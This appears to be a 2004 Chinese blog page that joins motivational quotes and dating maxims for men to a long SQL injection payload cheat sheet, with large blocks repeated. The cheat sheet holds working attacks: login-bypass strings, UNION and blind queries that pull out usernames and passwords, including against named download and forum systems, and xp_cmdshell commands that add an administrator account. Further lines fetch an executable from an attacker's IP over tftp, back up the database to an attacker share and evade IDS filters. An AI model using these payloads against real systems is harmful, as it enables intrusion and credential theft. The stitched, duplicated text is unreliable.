19、《和平年代》里的话:当幻想和现实面对时,总是很痛苦的。要么你被痛苦击倒,要么你把痛苦踩在脚下。
20、真正的爱情是不讲究热闹、不讲究排场、不讲究繁华、更不讲究噱头的。
21、生命中,不断地有人离开或进入。于是,看见的,看不见了;记住的,遗忘了。生命中,不断地有得到和失落。于是,看不见的,看见了;遗忘的,记住了。然而,看不见的,是不是就等于不存在?记住的,是不是永远不会消失?
22、我们确实活得艰难,一要承受种种外部的压力,更要面对自己内心的困惑。在苦苦挣扎中,如果有人向你投以理解的目光,你会感到一种生命的暖意,或许仅有短暂的一瞥,就足以使我们感奋不已。
23、我不去想是否能够成功,既然选择了远方,便只顾风雨兼程;我不去想,身后会不会袭来寒风冷雨,既然目标是地平线,留给世界的只能是背影。
24、后悔是一种耗费精神的情绪,后悔是比损失更大的损失,后悔是比错误更大的错误,所以不要后悔。
25、日出东海,日落西山,愁也一天,喜也一天;遇事不钻牛角尖,人也舒坦,心也舒坦。
20条人生建议
1.不要轻易剥夺别人的希望,也许那是对方唯一的希望。
2.生气的时候不要作任何决定。
3.小心那些一无所有的人。
4.学会礼貌而灵活地说"不"。
5.不要指望生活会是完全公平的。
6.如果一场战役的失败会为你赢来整个战争的胜利,那么就应该果断地放弃那场战役的胜利。
7.不要怕说"我不知道"。
8.每天称赞3个人。
9.一年至少欣赏一次黎明的到来。
10.多看看别人的眼睛。
11.经常说谢谢。
12.用你希望别人对待你的方式去对待别人。
13.结交新朋友,巩固老朋友。
14.保守秘密。
15.及时承认自己的错误。
16.学会倾听。
17.对坏话要充耳不闻。
18.能够改变世界的绝妙主意往往来自于独立工作的人。
19.只能把那些可还可不还的书借给别人。
20.选择生活伴侣时要慎之又慎,这决定着自己90%的幸福。
2.生气的时候不要作任何决定。
3.小心那些一无所有的人。
4.学会礼貌而灵活地说"不"。
5.不要指望生活会是完全公平的。
6.如果一场战役的失败会为你赢来整个战争的胜利,那么就应该果断地放弃那场战役的胜利。
7.不要怕说"我不知道"。
8.每天称赞3个人。
9.一年至少欣赏一次黎明的到来。
10.多看看别人的眼睛。
11.经常说谢谢。
12.用你希望别人对待你的方式去对待别人。
13.结交新朋友,巩固老朋友。
14.保守秘密。
15.及时承认自己的错误。
16.学会倾听。
17.对坏话要充耳不闻。
18.能够改变世界的绝妙主意往往来自于独立工作的人。
19.只能把那些可还可不还的书借给别人。
20.选择生活伴侣时要慎之又慎,这决定着自己90%的幸福。
22个道理
1.男人是社会的主体,不管你信或不信.所以男人应该有种责任感
2.25岁之前,请记得,爱情通常是假的,或者不是你所想象的那样纯洁和永远.如果你过了25岁,那么你应该懂得这个道理.
3.吃饭7成饱最舒服.对待女友最多也请你保持在7成.
4.30岁之前请爱惜自己的身体,前30年你找病,后30年病找你.如果你过了30岁,你自然也会懂得这个道理.
5.事业远比爱情重要.如果说事业都不能永恒,那么爱情只能算是昙花一现.
6.不要轻易接受追求你的女孩.女追男隔层纱.如果你很容易就陷进去,你会发现你会错过很多东西,失去很多东西.
7.请你相信,能用钱解决的问题,都不是问题.如果你认为钱索王道,有钱有女人,没钱没女人,那么.女人不是问题.
8.请永远积极向上.每个男人都有他可爱的地方,但是不可爱的地方只有不积极面对生活.
9.不要连续2次让同一个女人伤害.好马不吃回头草,是有他道理的.如果认真考虑过该分手,那么请不要做任何舍不得的行动.
10.如果你和你前女友能做朋友,那么你要问自己:为什么?如果分手后还是朋友,那么只有2个可能:.你们当初都只是玩玩而已,没付出彼此最真的感情.或者:必定有个人是在默默的付出无怨无悔!
11.永远不要太相信女人在恋爱时的甜言蜜语.都说女人爱听甜言蜜语,其实,男人更喜欢.
12.请不要为自己的相貌或者身高过分担心和自卑.人是动物,但是区别于动物.先天条件并不是阻挡你好好生活的借口.人的心灵远胜于相貌,请相信这点.如果有人以相貌取人,那么你也没必要太在意.因为他从某种意义来讲,只是只动物.你会跟动物怄气吗?
13.失恋时,只有2种可能,要么你爱她她不爱你,或者相反.那么,当你爱的人不再爱你,或者从来没爱过你时.你没有遗憾,因为你失去的只是一个不爱你的人
14.请不要欺骗善良的女孩.这个世界上,善良的女孩太少.
15.不能偏激的认为金钱万能,至少,金钱治不好艾滋病.
16.请一定要有自信.你就是一道风景,没必要在别人风景里面仰视.
17.受到再大的打击,只要生命还在,请相信每天的太阳都是新的.
18.爱情永远不可能是天平.你想在爱情里幸福就要舍得伤心
19.如果你喜欢一个认为别人应该对她好的mm,请尽早放弃.没有人是应该对一个人好的.如果她不明白这个道理,也就是她根本不懂得珍惜.
20.不要因为寂寞而’找’gf,寂寞男人请要学会品味寂寞.请记住:即使寂寞,远方黑暗的夜空下,一定有人和你一样,寂寞的人不同,仰望的星空却是唯一.
21.任何事没有永远.也别问怎样才能永远.生活有很多无奈.请尽量充实自己,充实生活.请善待生活.
End.男人有很多无奈,生活很累但是因为生活才有意义.当你以为你一无所有时,你至少还有时间,时间能抚平一切创伤.所以请不要流泪
2.25岁之前,请记得,爱情通常是假的,或者不是你所想象的那样纯洁和永远.如果你过了25岁,那么你应该懂得这个道理.
3.吃饭7成饱最舒服.对待女友最多也请你保持在7成.
4.30岁之前请爱惜自己的身体,前30年你找病,后30年病找你.如果你过了30岁,你自然也会懂得这个道理.
5.事业远比爱情重要.如果说事业都不能永恒,那么爱情只能算是昙花一现.
6.不要轻易接受追求你的女孩.女追男隔层纱.如果你很容易就陷进去,你会发现你会错过很多东西,失去很多东西.
7.请你相信,能用钱解决的问题,都不是问题.如果你认为钱索王道,有钱有女人,没钱没女人,那么.女人不是问题.
8.请永远积极向上.每个男人都有他可爱的地方,但是不可爱的地方只有不积极面对生活.
9.不要连续2次让同一个女人伤害.好马不吃回头草,是有他道理的.如果认真考虑过该分手,那么请不要做任何舍不得的行动.
10.如果你和你前女友能做朋友,那么你要问自己:为什么?如果分手后还是朋友,那么只有2个可能:.你们当初都只是玩玩而已,没付出彼此最真的感情.或者:必定有个人是在默默的付出无怨无悔!
11.永远不要太相信女人在恋爱时的甜言蜜语.都说女人爱听甜言蜜语,其实,男人更喜欢.
12.请不要为自己的相貌或者身高过分担心和自卑.人是动物,但是区别于动物.先天条件并不是阻挡你好好生活的借口.人的心灵远胜于相貌,请相信这点.如果有人以相貌取人,那么你也没必要太在意.因为他从某种意义来讲,只是只动物.你会跟动物怄气吗?
13.失恋时,只有2种可能,要么你爱她她不爱你,或者相反.那么,当你爱的人不再爱你,或者从来没爱过你时.你没有遗憾,因为你失去的只是一个不爱你的人
14.请不要欺骗善良的女孩.这个世界上,善良的女孩太少.
15.不能偏激的认为金钱万能,至少,金钱治不好艾滋病.
16.请一定要有自信.你就是一道风景,没必要在别人风景里面仰视.
17.受到再大的打击,只要生命还在,请相信每天的太阳都是新的.
18.爱情永远不可能是天平.你想在爱情里幸福就要舍得伤心
19.如果你喜欢一个认为别人应该对她好的mm,请尽早放弃.没有人是应该对一个人好的.如果她不明白这个道理,也就是她根本不懂得珍惜.
20.不要因为寂寞而’找’gf,寂寞男人请要学会品味寂寞.请记住:即使寂寞,远方黑暗的夜空下,一定有人和你一样,寂寞的人不同,仰望的星空却是唯一.
21.任何事没有永远.也别问怎样才能永远.生活有很多无奈.请尽量充实自己,充实生活.请善待生活.
End.男人有很多无奈,生活很累但是因为生活才有意义.当你以为你一无所有时,你至少还有时间,时间能抚平一切创伤.所以请不要流泪
星期二, 九月 07, 2004
php注射库
php注射库
' or 1=1
' or '1=1
'/*
'%23
' and password='mypass
id=-1 union select 1,1,1
id=-1 union select char(97),char(97),char(97)
id=1 union select 1,1,1 from members
id=1 union select 1,1,1 from admin
id=1 union select 1,1,1 from user
userid=1 and password=mypass
userid=1 and mid(password,3,1)=char(112)
userid=1 and mid(password,4,1)=char(97)
and ord(mid(password,3,1))>111 (ord函数很好用,可以返回整形的)
' and LENGTH(password)='6(探测密码长度)
' and LEFT(password,1)='m
' and LEFT(password,2)='my
…………………………依次类推
' union select 1,username,password from user/*
' union select 1,username,password from user/*
=' union select 1,username,password from user/* (可以是1或者=后直接跟)
99999' union select 1,username,password from user/*
' into outfile 'c:/file.txt (导出文件)
=' or 1=1 into outfile 'c:/file.txt
1' union select 1,username,password from user into outfile 'c:/user.txt
select password FROM admins where login='John' INTO DUMPFILE '/path/to/site/file.txt'
id=' union select 1,username,password from user into outfile
id=-1 union select 1,database(),version() (灵活应用查询)
常用查询测试语句,
select * FROM table where 1=1
select * FROM table where 'uuu'='uuu'
select * FROM table where 1<>2
select * FROM table where 3>2
select * FROM table where 2<3
select * FROM table where 1
select * FROM table where 1+1
select * FROM table where 1--1
select * FROM table where ISNULL(NULL)
select * FROM table where ISNULL(COT(0))
select * FROM table where 1 IS NOT NULL
select * FROM table where NULL IS NULL
select * FROM table where 2 BETWEEN 1 AND 3
select * FROM table where 'b' BETWEEN 'a' AND 'c'
select * FROM table where 2 IN (0,1,2)
select * FROM table where CASE WHEN 1>0 THEN 1 END
例如:夜猫下载系统1.0版本
id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1
union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替换,寻找密码)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一位密码)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51
…………………………………………………………
例如2:灰色轨迹 变换id进行测试(meteor)
union%20(select%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20where%20eventid%20=%2013)%20order%20by%20eventdate
union%20(select%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FROM%20calendar_events%20where%20eventid%20=%2010)%20order%20by%20eventdate
构造语句:
select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)
select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)
union%20(select%201,0,2,'1999-01-01','a',password%20FROM%20user%20where%20userid%20=%205)%20order%20by%20eventdate
union%20(select%201,0,12695,'1999-01-01','a',password%20FROM%20user%20where%20userid=13465)%20order%20by%20eventdate
union%20(select%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20where%20username='sandflee')%20order%20by%20eventdate (查沙子的id)
(select a FROM table_name where a=10 AND B=1 ORDER BY a LIMIT 10)
select * FROM article where articleid='$id' union select * FROM……(字段和数据库相同情况下,可直接提交)
select * FROM article where articleid='$id' union select 1,1,1,1,1,1,1 FROM……(不同的情况下)
特殊技巧:在表单,搜索引擎等地方写:
"___"
".__ "
"%
%' ORDER BY articleid/*
%' ORDER BY articleid#
__' ORDER BY articleid/*
__' ORDER BY articleid#
$command = "dir c:\";system($command);
select * FROM article where articleid='$id'
select * FROM article where articleid=$id
1' and 1=2 union select * from user where userid=1/* 句中变为
(select * FROM article where articleid='1' and 1=2 union select * from user where userid=1/*')
1 and 1=2 union select * from user where userid=1
语句形式:建立一个库,插入:
create DATABASE `injection`
create TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
PRIMARY KEY (`userid`)
) ;
insert INTO `user` VALUES (1, 'swap', 'mypass');
插如一个注册用户:
insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
"insert INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')";
insert INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1')
"insert INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'";
insert INTO membres SET login='',password='',nom='',userlevel='3',email=''
"insert INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";
update user SET password='$password', homepage='$homepage' where id='$id'
update user SET password='MD5(mypass)' where username='admin'#)', homepage='$homepage' where id='$id'
"update membres SET password='$pass',nom='$nom',email='$email' where id='$id'";
update membres SET password='[PASS]',nom='',userlevel='3',email=' ' where id='[ID]'
"update news SET Votes=Votes+1, score=score+$note where idnews='$id'";
长用函数:
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
比如:
update article SET title=$title where articleid=1 对应函数
update article SET title=DATABASE() where id=1
#把当前数据库名更新到title字段
update article SET title=USER() where id=1
#把当前 MySQL 用户名更新到title字段
update article SET title=SYSTEM_USER() where id=1
#把当前 MySQL 用户名更新到title字段
update article SET title=SESSION_USER() where id=1
#把当前 MySQL 用户名更新到title字段
update article SET title=CURRENT_USER() where id=1
#把当前会话被验证匹配的用户名更新到title字段
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
$req = "select * FROM membres where name like '%$search%' ORDER BY name";
select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name
select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name
select uid FROM admins where login='' OR 'a'='a' AND password='' OR 'a'='a' (经典)
select uid FROM admins where login='' OR admin_level=1#' AND password=''
select * FROM table where msg like '%hop'
select uid FROM membres where login='Bob' AND password like 'a%'#' AND password=''
select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name
' or 1=1
' or '1=1
'/*
'%23
' and password='mypass
id=-1 union select 1,1,1
id=-1 union select char(97),char(97),char(97)
id=1 union select 1,1,1 from members
id=1 union select 1,1,1 from admin
id=1 union select 1,1,1 from user
userid=1 and password=mypass
userid=1 and mid(password,3,1)=char(112)
userid=1 and mid(password,4,1)=char(97)
and ord(mid(password,3,1))>111 (ord函数很好用,可以返回整形的)
' and LENGTH(password)='6(探测密码长度)
' and LEFT(password,1)='m
' and LEFT(password,2)='my
…………………………依次类推
' union select 1,username,password from user/*
' union select 1,username,password from user/*
=' union select 1,username,password from user/* (可以是1或者=后直接跟)
99999' union select 1,username,password from user/*
' into outfile 'c:/file.txt (导出文件)
=' or 1=1 into outfile 'c:/file.txt
1' union select 1,username,password from user into outfile 'c:/user.txt
select password FROM admins where login='John' INTO DUMPFILE '/path/to/site/file.txt'
id=' union select 1,username,password from user into outfile
id=-1 union select 1,database(),version() (灵活应用查询)
常用查询测试语句,
select * FROM table where 1=1
select * FROM table where 'uuu'='uuu'
select * FROM table where 1<>2
select * FROM table where 3>2
select * FROM table where 2<3
select * FROM table where 1
select * FROM table where 1+1
select * FROM table where 1--1
select * FROM table where ISNULL(NULL)
select * FROM table where ISNULL(COT(0))
select * FROM table where 1 IS NOT NULL
select * FROM table where NULL IS NULL
select * FROM table where 2 BETWEEN 1 AND 3
select * FROM table where 'b' BETWEEN 'a' AND 'c'
select * FROM table where 2 IN (0,1,2)
select * FROM table where CASE WHEN 1>0 THEN 1 END
例如:夜猫下载系统1.0版本
id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1
union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替换,寻找密码)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一位密码)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51
…………………………………………………………
例如2:灰色轨迹 变换id进行测试(meteor)
union%20(select%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20where%20eventid%20=%2013)%20order%20by%20eventdate
union%20(select%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FROM%20calendar_events%20where%20eventid%20=%2010)%20order%20by%20eventdate
构造语句:
select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)
select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)
union%20(select%201,0,2,'1999-01-01','a',password%20FROM%20user%20where%20userid%20=%205)%20order%20by%20eventdate
union%20(select%201,0,12695,'1999-01-01','a',password%20FROM%20user%20where%20userid=13465)%20order%20by%20eventdate
union%20(select%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20where%20username='sandflee')%20order%20by%20eventdate (查沙子的id)
(select a FROM table_name where a=10 AND B=1 ORDER BY a LIMIT 10)
select * FROM article where articleid='$id' union select * FROM……(字段和数据库相同情况下,可直接提交)
select * FROM article where articleid='$id' union select 1,1,1,1,1,1,1 FROM……(不同的情况下)
特殊技巧:在表单,搜索引擎等地方写:
"___"
".__ "
"%
%' ORDER BY articleid/*
%' ORDER BY articleid#
__' ORDER BY articleid/*
__' ORDER BY articleid#
$command = "dir c:\";system($command);
select * FROM article where articleid='$id'
select * FROM article where articleid=$id
1' and 1=2 union select * from user where userid=1/* 句中变为
(select * FROM article where articleid='1' and 1=2 union select * from user where userid=1/*')
1 and 1=2 union select * from user where userid=1
语句形式:建立一个库,插入:
create DATABASE `injection`
create TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
PRIMARY KEY (`userid`)
) ;
insert INTO `user` VALUES (1, 'swap', 'mypass');
插如一个注册用户:
insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
"insert INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')";
insert INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1')
"insert INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'";
insert INTO membres SET login='',password='',nom='',userlevel='3',email=''
"insert INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";
update user SET password='$password', homepage='$homepage' where id='$id'
update user SET password='MD5(mypass)' where username='admin'#)', homepage='$homepage' where id='$id'
"update membres SET password='$pass',nom='$nom',email='$email' where id='$id'";
update membres SET password='[PASS]',nom='',userlevel='3',email=' ' where id='[ID]'
"update news SET Votes=Votes+1, score=score+$note where idnews='$id'";
长用函数:
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
比如:
update article SET title=$title where articleid=1 对应函数
update article SET title=DATABASE() where id=1
#把当前数据库名更新到title字段
update article SET title=USER() where id=1
#把当前 MySQL 用户名更新到title字段
update article SET title=SYSTEM_USER() where id=1
#把当前 MySQL 用户名更新到title字段
update article SET title=SESSION_USER() where id=1
#把当前 MySQL 用户名更新到title字段
update article SET title=CURRENT_USER() where id=1
#把当前会话被验证匹配的用户名更新到title字段
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
$req = "select * FROM membres where name like '%$search%' ORDER BY name";
select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name
select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name
select uid FROM admins where login='' OR 'a'='a' AND password='' OR 'a'='a' (经典)
select uid FROM admins where login='' OR admin_level=1#' AND password=''
select * FROM table where msg like '%hop'
select uid FROM membres where login='Bob' AND password like 'a%'#' AND password=''
select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name
Sql Injection永远是那么可爱
Sql注射总结(早源于'or'1'='1)
最重要的表名:
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
最重要的一些用户名(默认sql数据库中存在着的)
public
dbo
guest(一般禁止,或者没权限)
db_sercurityadmin
ab_dlladmin
---------------------------------
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'—
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')—
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')—
union select TOP 1 login_name FROM logintable—
union select TOP 1 password FROM logintable where login_name='Rahul'--
构造语句:查询是否存在xp_cmdshell
and 1=(select @@VERSION)
and 'sa'=(select System_user)
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')
and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判断sa权限是否
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名(从1到5都是系统的id,6以上才可以判断)
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
传统的存在xp_cmdshell的测试过程:
;exec master.dbo.sp_addlogin hax;--
;exec master.dbo.sp_password null,hax,hax;--
;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
http://localhost/show.asp?id=1; exec master.dbo.xp_cmdshell 'tftp –i youip get file.exe';--
http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp –i youip get file.exe'—
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat'
如果被限制则可以。
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')
传统查询构造:
select * FROM news where id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。
'and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
说明:
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--
象下面这样就可以得到第二个表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--
ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
扩展存储就可以通过一般的方法调用:
exec xp_webserver
一旦这个扩展存储执行过,可以这样删除它:
sp_dropextendedproc 'xp_webserver'
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)—
insert into users values( 667,123,123,0xffff)—
insert into users values ( 123, 'admin''--', 'password', 0xffff)—
;and user>0
;;and (select count(*) from sysobjects)>0
;;and (select count(*) from mysysobjects)>0 //为access数据库
-----------------------------------------------------------通常注射的一些介绍:
A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
select * from 表名 where 字段='连续剧'
注入的参数为Class=连续剧' and [查询条件] and ''=' ,即是生成语句:
select * from 表名 where 字段='连续剧' and [查询条件] and ''=''
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
select * from 表名 where 字段like '%关键字%'
注入的参数为keyword=' and [查询条件] and '%25'=', 即是生成语句:
select * from 表名 where字段like '%' and [查询条件] and '%'='%'
;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0
sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。
;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
从⑤拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
post.htm内容:主要是方便输入。
枚举出他的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,^^^^^^一个个的读出,直到没有为止。
读字段是这样:
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
--------------------------------高级技巧:
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件]
select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
最重要的表名:
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
最重要的一些用户名(默认sql数据库中存在着的)
public
dbo
guest(一般禁止,或者没权限)
db_sercurityadmin
ab_dlladmin
---------------------------------
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'—
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')—
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')—
union select TOP 1 login_name FROM logintable—
union select TOP 1 password FROM logintable where login_name='Rahul'--
构造语句:查询是否存在xp_cmdshell
and 1=(select @@VERSION)
and 'sa'=(select System_user)
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')
and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判断sa权限是否
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名(从1到5都是系统的id,6以上才可以判断)
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin
